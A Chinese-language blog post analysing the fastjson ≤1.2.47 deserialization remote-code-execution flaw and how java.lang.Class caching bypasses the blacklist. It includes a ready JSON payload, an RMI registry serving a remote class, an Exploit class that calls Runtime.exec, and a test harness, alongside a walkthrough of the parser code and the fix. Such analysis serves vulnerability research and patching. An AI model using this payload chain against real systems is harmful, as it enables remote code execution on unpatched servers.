天天看點

fastjson =< 1.2.47 反序列化漏洞淺析

文章出處:

https://www.03sec.com/3240.shtml
https://www.secquan.org/   圈子社群牛逼!!!           

複制

作者:iiusky

#poc

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}           

複制

最近據說爆出來一個在hw期間使用的fastjson 漏洞,該漏洞無需開啟autoType即可利用成功,建議使用fastjson的使用者盡快更新到> 1.2.47版本(保險起見,建議更新到最新版)

環境準備

閱讀本篇文章之前建議先了解一下fastjson中的jndi漏洞利用方式。

## rmiServer.java

/*
 * Copyright sky 2019-07-11 Email:[email protected].
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package cn.org.javaweb.fastjsontest;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author sky
 */
public class test3 {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "Exploit","http://localhost:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}           

複制

##Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void main(String[] args) {
        exec("123");
    }
}           

複制

##poc.java

/*
 * Copyright sky 2019-07-11 Email:[email protected].
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package cn.org.javaweb.fastjsontest;

import com.alibaba.fastjson.JSON;

/**
 * @author sky
 */
public class test5 {

    public static void main(String[] argv) {
        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
                "\"xxxx\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":" +
                "\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}}";
        JSON.parse(payload);
    }

}           

複制

其中Exploit.java需要使用javac編譯執行一次生成Exploit.class并放置在

localhost:8000

端口的根目錄。我這邊使用python簡單的httpServer搭建的簡易http伺服器。

fastjson =&lt; 1.2.47 反序列化漏洞淺析

調用分析

調用過程和之前的 《fastjson jndi利用方式》 差不多,這邊使用了一個特性繞過了黑名單機制,在

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

執行邏輯中:

首先遇到的是第一個key

@type

,然後進行了以下的判斷,如果是

@type

并且啟用了特殊key檢查的話,那麼就把對應的value作為類來加載。這邊摘取片段來進行展示。

if (key == JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
 ………… ………… …………
if (object != null&&object.getClass().getName().equals(typeName)) {
    clazz = object.getClass();
} else {
     clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
 }
 ………… ………… …………

    Object obj = deserializer.deserialze(this, clazz, fieldName);
    return obj;

}           

複制

複制

fastjson會去檢測@type的類是否為黑名單中的類,

fastjson =&lt; 1.2.47 反序列化漏洞淺析

而poc中傳入的

@type

java.lang.class

并非黑名單中的類,是以第一步檢測的通過的。

接下來會把對應的value進行加載,也就是加載

java.lang.class

fastjson =&lt; 1.2.47 反序列化漏洞淺析

跟進

deserialze

方法(com.alibaba.fastjson.serializer.MiscCodec#deserialze)

fastjson =&lt; 1.2.47 反序列化漏洞淺析
fastjson =&lt; 1.2.47 反序列化漏洞淺析

可以看到lexer中的stringVal為poc中的

val

,而

val

的值為

com.sun.rowset.JdbcRowSetImpl

.

接下來将

objVal

指派給

strVal

fastjson =&lt; 1.2.47 反序列化漏洞淺析

然後執行下面一大串if判斷,其中有個if為:

如果傳入的clazz為

java.lang.class

,則會調用

TypeUtils.loadClass

加載

com.sun.rowset.JdbcRowSetImpl

類,

fastjson =&lt; 1.2.47 反序列化漏洞淺析

跟進loadClass方法

fastjson =&lt; 1.2.47 反序列化漏洞淺析

進而導緻checkAutoType在檢測是否為黑名單的時候繞了過去,因為上一步将

com.sun.rowset.JdbcRowSetImpl

放入了mapping中,checkAutoType中使用

TypeUtils.getClassFromMapping(typeName)

去擷取class不為空,進而繞過了黑名單檢測

fastjson =&lt; 1.2.47 反序列化漏洞淺析

導緻将

com.sun.rowset.JdbcRowSetImpl

放入mapping中的問題點是在

loadClass

中的第三個參數,該參數是指是否對class放入緩存mapping中。

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)           

複制

1.2.47版本中的代碼

fastjson =&lt; 1.2.47 反序列化漏洞淺析

1.2.48版本中的代碼

fastjson =&lt; 1.2.47 反序列化漏洞淺析

##結語

文章中有不對的點歡迎指出,勿噴,文明交流

##參考

https://github.com/iBearcat/FastJson-JdbcRowSetImpl-RCE
https://github.com/MagicZer0/fastjson-rce-exploit           

複制